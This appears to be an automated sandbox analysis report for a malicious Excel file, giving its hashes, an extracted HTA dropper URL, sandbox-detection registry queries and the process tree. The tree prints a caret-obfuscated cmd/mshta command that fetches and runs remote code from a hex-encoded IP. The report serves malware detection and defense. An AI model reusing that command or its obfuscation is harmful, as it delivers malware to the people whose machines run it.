7f47c50d92a3da634e5e5810bf1d27d35cd110242f9148c1506e2da375a056e8

General

Target

7f47c50d92a3da634e5e5810bf1d27d35cd110242f9148c1506e2da375a056e8.xls
Size

141KB
MD5

9857abeb4645a7071e4e2325d0793805
SHA1

ff658e04c9b72f341b14b464dbade0a01d528680
SHA256

7f47c50d92a3da634e5e5810bf1d27d35cd110242f9148c1506e2da375a056e8
SHA512

b76e48404f85f1c2c5365a82a9356f676230f660d82ebaee318412530bcebc2d8135f1dfb351e5fa7bc92a71b912025270cf661db17e5728c8147f80740d6f0a

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fer.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2584	2160	cmd.exe	67

Blocklisted process makes network request 1 IoCs

flow	pid	Process
41	700	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2160	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE
2160	EXCEL.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2160 wrote to memory of 2444	2160	EXCEL.EXE	69
PID 2160 wrote to memory of 2444	2160	EXCEL.EXE	69
PID 2160 wrote to memory of 2584	2160	EXCEL.EXE	70
PID 2160 wrote to memory of 2584	2160	EXCEL.EXE	70
PID 2584 wrote to memory of 700	2584	cmd.exe	73
PID 2584 wrote to memory of 700	2584	cmd.exe	73

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\7f47c50d92a3da634e5e5810bf1d27d35cd110242f9148c1506e2da375a056e8.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2160
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:2444
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fer.html
    3⤵
    - Blocklisted process makes network request
    PID:700

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2160-114-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download
memory/2160-115-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download
memory/2160-116-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download
memory/2160-117-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download
memory/2160-120-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download
memory/2160-127-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp

Filesize
64KB

Download
memory/2160-128-0x00007FFD6F570000-0x00007FFD6F580000-memory.dmp

Filesize
64KB

Download
memory/2160-423-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download
memory/2160-424-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download
memory/2160-425-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download
memory/2160-426-0x00007FFD72FE0000-0x00007FFD72FF0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads